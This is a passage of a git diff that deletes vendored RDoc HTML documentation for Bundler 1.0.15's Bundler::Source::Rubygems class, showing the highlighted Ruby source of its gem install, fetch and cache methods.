-387:           <span class="ruby-ivar">@wrappers</span>          = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wrappers</span>] <span class="ruby-operator">||</span> <span class="ruby-keyword kw">true</span>
-388:           <span class="ruby-ivar">@env_shebang</span>       = <span class="ruby-identifier">options</span>[<span class="ruby-value">:env_shebang</span>] <span class="ruby-operator">||</span> <span class="ruby-keyword kw">true</span>
-389:           <span class="ruby-ivar">@format_executable</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:format_executable</span>] <span class="ruby-operator">||</span> <span class="ruby-keyword kw">false</span>
-390:         <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 392</span>
-392:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">generate_bin</span>
-393:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">empty?</span>
-394: 
-395:           <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span>
-396:             <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-node">&quot;#{Bundler.tmp}/bin&quot;</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-node">&quot;#{Bundler.tmp}/bin&quot;</span>)
-397:           <span class="ruby-keyword kw">end</span>
-398:           <span class="ruby-keyword kw">super</span>
-399:           <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span>
-400:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">mkdir_p</span> <span class="ruby-node">&quot;#{Bundler.rubygems.gem_dir}/bin&quot;</span>
-401:             <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">exe</span><span class="ruby-operator">|</span>
-402:               <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;cp -R #{Bundler.tmp}/bin/#{exe} #{Bundler.rubygems.gem_dir}/bin/&quot;</span>
-403:             <span class="ruby-keyword kw">end</span>
-404:           <span class="ruby-keyword kw">end</span>
-405:         <span class="ruby-keyword kw">end</span></pre>
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-		<p>Disabled; run with --debug to generate this.</p>
-	
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-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Rubygems.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Rubygems.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Rubygems.html
+++ /dev/null
@@ -1,1473 +0,0 @@
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-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-					<li><a href="#method-c-new">::new</a></li>
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-					
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-					
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-					
-					<li><a href="#method-i-fetch">#fetch</a></li>
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-					<li><a href="#method-i-hash">#hash</a></li>
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-					<li><a href="#method-i-install">#install</a></li>
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-					<li><a href="#method-i-options">#options</a></li>
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-					<li><a href="#method-i-remote%21">#remote!</a></li>
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-					
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-					
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-					<span class="search-toggle"><img src="../../images/find.png"
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-				
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::Source::Rubygems</h1>
-
-		<div id="description">
-			<p>
-TODO: Refactor this class
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="remotes-attribute-method" class="method-detail">
-				<a name="remotes"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">remotes</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
-				</div>
-			</div>
-			
-		</div>
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="from-lock-method" class="method-detail ">
-				<a name="method-c-from_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">from_lock</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="from-lock-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 51</span>
-51:       <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">from_lock</span>(<span class="ruby-identifier">options</span>)
-52:         <span class="ruby-identifier">s</span> = <span class="ruby-identifier">new</span>(<span class="ruby-identifier">options</span>)
-53:         <span class="ruby-constant">Array</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;remote&quot;</span>]).<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">add_remote</span>(<span class="ruby-identifier">r</span>) }
-54:         <span class="ruby-identifier">s</span>
-55:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(options = {})</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 15</span>
-15:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">options</span> = {})
-16:         <span class="ruby-ivar">@options</span> = <span class="ruby-identifier">options</span>
-17:         <span class="ruby-ivar">@remotes</span> = (<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;remotes&quot;</span>] <span class="ruby-operator">||</span> []).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-identifier">normalize_uri</span>(<span class="ruby-identifier">r</span>) }
-18:         <span class="ruby-ivar">@allow_remote</span> = <span class="ruby-keyword kw">false</span>
-19:         <span class="ruby-ivar">@allow_cached</span> = <span class="ruby-keyword kw">false</span>
-20: 
-21:         <span class="ruby-comment cmt"># Hardcode the paths for now</span>
-22:         <span class="ruby-ivar">@caches</span> = [ <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">app_cache</span> ] <span class="ruby-operator">+</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_path</span>.<span class="ruby-identifier">map</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">x</span><span class="ruby-operator">|</span>
-23:           <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-node">&quot;#{x}/cache&quot;</span>)
-24:         <span class="ruby-keyword kw">end</span>
-25: 
-26:         <span class="ruby-ivar">@spec_fetch_map</span> = {}
-27:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="--method" class="method-detail method-alias">
-				<a name="method-i-%3D%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">==</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-				</div>
-
-				
-
-				
-				<div class="aliases">
-          Alias for: <a href="Rubygems.html#method-i-eql%3F">eql?</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="add-remote-method" class="method-detail ">
-				<a name="method-i-add_remote"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">add_remote</span><span
-						class="method-args">(source)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="add-remote-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 130</span>
-130:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_remote</span>(<span class="ruby-identifier">source</span>)
-131:         <span class="ruby-ivar">@remotes</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">normalize_uri</span>(<span class="ruby-identifier">source</span>)
-132:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cache-method" class="method-detail ">
-				<a name="method-i-cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 122</span>
-122:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache</span>(<span class="ruby-identifier">spec</span>)
-123:         <span class="ruby-identifier">cached_path</span> = <span class="ruby-identifier">cached_gem</span>(<span class="ruby-identifier">spec</span>)
-124:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-node">&quot;Missing gem file '#{spec.full_name}.gem'.&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">cached_path</span>
-125:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-identifier">cached_path</span>) <span class="ruby-operator">==</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">app_cache</span>.<span class="ruby-identifier">to_s</span>
-126:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;  * #{File.basename(cached_path)}&quot;</span>
-127:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">cp</span>(<span class="ruby-identifier">cached_path</span>, <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">app_cache</span>)
-128:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cached--method" class="method-detail ">
-				<a name="method-i-cached%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cached!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cached--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 33</span>
-33:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cached!</span>
-34:         <span class="ruby-ivar">@allow_cached</span> = <span class="ruby-keyword kw">true</span>
-35:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="eql--method" class="method-detail ">
-				<a name="method-i-eql%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">eql?</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="eql--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 41</span>
-41:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">eql?</span>(<span class="ruby-identifier">o</span>)
-42:         <span class="ruby-constant">Rubygems</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">o</span>
-43:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Rubygems.html#method-i-%3D%3D">==</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="fetch-method" class="method-detail ">
-				<a name="method-i-fetch"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">fetch</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="fetch-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 73</span>
-73:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">fetch</span>(<span class="ruby-identifier">spec</span>)
-74:         <span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span> = <span class="ruby-ivar">@spec_fetch_map</span>[<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">full_name</span>]
-75:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>
-76:           <span class="ruby-identifier">path</span> = <span class="ruby-identifier">download_gem_from_uri</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">uri</span>)
-77:           <span class="ruby-identifier">s</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">spec_from_gem</span>(<span class="ruby-identifier">path</span>)
-78:           <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">__swap__</span>(<span class="ruby-identifier">s</span>)
-79:         <span class="ruby-keyword kw">end</span>
-80:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="hash-method" class="method-detail ">
-				<a name="method-i-hash"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">hash</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="hash-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 37</span>
-37:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">hash</span>
-38:         <span class="ruby-constant">Rubygems</span>.<span class="ruby-identifier">hash</span>
-39:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="install-method" class="method-detail ">
-				<a name="method-i-install"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">install</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="install-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 82</span>
- 82:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install</span>(<span class="ruby-identifier">spec</span>)
- 83:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">installed_specs</span>[<span class="ruby-identifier">spec</span>].<span class="ruby-identifier">any?</span>
- 84:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Using #{spec.name} (#{spec.version}) &quot;</span>
- 85:           <span class="ruby-keyword kw">return</span>
- 86:         <span class="ruby-keyword kw">end</span>
- 87: 
- 88:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Installing #{spec.name} (#{spec.version}) &quot;</span>
- 89:         <span class="ruby-identifier">path</span> = <span class="ruby-identifier">cached_gem</span>(<span class="ruby-identifier">spec</span>)
- 90: 
- 91:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">preserve_paths</span> <span class="ruby-keyword kw">do</span>
- 92: 
- 93:           <span class="ruby-identifier">install_path</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span> <span class="ruby-operator">?</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">tmp</span> <span class="ruby-operator">:</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_dir</span>
- 94:           <span class="ruby-identifier">options</span> = { <span class="ruby-value">:install_dir</span>         =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">install_path</span>,
- 95:                       <span class="ruby-value">:ignore_dependencies</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>,
- 96:                       <span class="ruby-value">:wrappers</span>            =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span>,
- 97:                       <span class="ruby-value">:env_shebang</span>         =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">true</span> }
- 98:           <span class="ruby-identifier">options</span>.<span class="ruby-identifier">merge!</span>(<span class="ruby-value">:bin_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-node">&quot;#{install_path}/bin&quot;</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">empty?</span>
- 99: 
-100:           <span class="ruby-identifier">installer</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Installer</span>.<span class="ruby-identifier">new</span> <span class="ruby-identifier">path</span>, <span class="ruby-identifier">options</span>
-101:           <span class="ruby-identifier">installer</span>.<span class="ruby-identifier">install</span>
-102:         <span class="ruby-keyword kw">end</span>
-103: 
-104:         <span class="ruby-comment cmt"># SUDO HAX</span>
-105:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span>
-106:           <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;mkdir -p #{Bundler.rubygems.gem_dir}/gems #{Bundler.rubygems.gem_dir}/specifications&quot;</span>
-107:           <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;cp -R #{Bundler.tmp}/gems/#{spec.full_name} #{Bundler.rubygems.gem_dir}/gems/&quot;</span>
-108:           <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;cp -R #{Bundler.tmp}/specifications/#{spec.full_name}.gemspec #{Bundler.rubygems.gem_dir}/specifications/&quot;</span>
-109:           <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">exe</span><span class="ruby-operator">|</span>
-110:             <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;mkdir -p #{Bundler.rubygems.gem_bindir}&quot;</span>
-111:             <span class="ruby-identifier">sudo</span> <span class="ruby-node">&quot;cp -R #{Bundler.tmp}/bin/#{exe} #{Bundler.rubygems.gem_bindir}&quot;</span>
-112:           <span class="ruby-keyword kw">end</span>
-113:         <span class="ruby-keyword kw">end</span>
-114: 
-115:         <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">loaded_from</span> = <span class="ruby-node">&quot;#{Bundler.rubygems.gem_dir}/specifications/#{spec.full_name}.gemspec&quot;</span>
-116:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-
-				
-			</div>
-
-		
-			<div id="merge-remotes-method" class="method-detail ">
-				<a name="method-i-merge_remotes"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">merge_remotes</span><span
-						class="method-args">(source)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-
-				<div class="method-description">
-					
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-						id="merge-remotes-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 134</span>
-134:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">merge_remotes</span>(<span class="ruby-identifier">source</span>)
-135:         <span class="ruby-ivar">@remotes</span> = []
-136:         <span class="ruby-identifier">source</span>.<span class="ruby-identifier">remotes</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span>
-137:           <span class="ruby-identifier">add_remote</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">to_s</span>
-138:         <span class="ruby-keyword kw">end</span>
-139:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-
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-			<div id="name-method" class="method-detail method-alias">
-				<a name="method-i-name"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">name</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="aliases">
-          Alias for: <a href="Rubygems.html#method-i-to_s">to_s</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="options-method" class="method-detail ">
-				<a name="method-i-options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">options</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-					<div class="method-source-code"
-						id="options-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 47</span>
-47:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">options</span>
-48:         { <span class="ruby-value str">&quot;remotes&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@remotes</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">to_s</span> } }
-49:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
-
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-
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-			</div>
-
-		
-			<div id="remote--method" class="method-detail ">
-				<a name="method-i-remote%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">remote!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					
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-					<div class="method-source-code"
-						id="remote--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 29</span>
-29:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remote!</span>
-30:         <span class="ruby-ivar">@allow_remote</span> = <span class="ruby-keyword kw">true</span>
-31:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="specs-method" class="method-detail ">
-				<a name="method-i-specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="specs-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 69</span>
-69:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">specs</span>
-70:         <span class="ruby-ivar">@specs</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">fetch_specs</span>
-71:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
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-
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-			</div>
-
-		
-			<div id="sudo-method" class="method-detail ">
-				<a name="method-i-sudo"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">sudo</span><span
-						class="method-args">(str)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="sudo-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 118</span>
-118:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sudo</span>(<span class="ruby-identifier">str</span>)
-119:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">sudo</span>(<span class="ruby-identifier">str</span>)
-120:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-
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-			</div>
-
-		
-			<div id="to-lock-method" class="method-detail ">
-				<a name="method-i-to_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_lock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="to-lock-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 57</span>
-57:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-58:         <span class="ruby-identifier">out</span> = <span class="ruby-value str">&quot;GEM\n&quot;</span>
-59:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">remotes</span>.<span class="ruby-identifier">map</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;  remote: #{r}\n&quot;</span> }.<span class="ruby-identifier">join</span>
-60:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  specs:\n&quot;</span>
-61:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="to-s-method" class="method-detail ">
-				<a name="method-i-to_s"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_s</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="to-s-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 63</span>
-63:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_s</span>
-64:         <span class="ruby-identifier">remote_names</span> = <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">remotes</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">to_s</span> }.<span class="ruby-identifier">join</span>(<span class="ruby-value str">', '</span>)
-65:         <span class="ruby-node">&quot;rubygems repository #{remote_names}&quot;</span>
-66:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Rubygems.html#method-i-name">name</a>
-				</div>
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-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="cached-gem-method" class="method-detail ">
-				<a name="method-i-cached_gem"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cached_gem</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="cached-gem-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 143</span>
-143:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cached_gem</span>(<span class="ruby-identifier">spec</span>)
-144:         <span class="ruby-identifier">possibilities</span> = <span class="ruby-ivar">@caches</span>.<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-node">&quot;#{p}/#{spec.file_name}&quot;</span> }
-145:         <span class="ruby-identifier">cached_gem</span> = <span class="ruby-identifier">possibilities</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">p</span>) }
-146:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">cached_gem</span>
-147:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">GemNotFound</span>, <span class="ruby-node">&quot;Could not find #{spec.file_name} for installation&quot;</span>
-148:         <span class="ruby-keyword kw">end</span>
-149:         <span class="ruby-identifier">cached_gem</span>
-150:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
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-			</div>
-
-		
-			<div id="cached-specs-method" class="method-detail ">
-				<a name="method-i-cached_specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cached_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="cached-specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 198</span>
-198:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cached_specs</span>
-199:         <span class="ruby-ivar">@cached_specs</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-200:           <span class="ruby-identifier">idx</span> = <span class="ruby-identifier">installed_specs</span>.<span class="ruby-identifier">dup</span>
-201: 
-202:           <span class="ruby-identifier">path</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">app_cache</span>
-203:           <span class="ruby-constant">Dir</span>[<span class="ruby-node">&quot;#{path}/*.gem&quot;</span>].<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">gemfile</span><span class="ruby-operator">|</span>
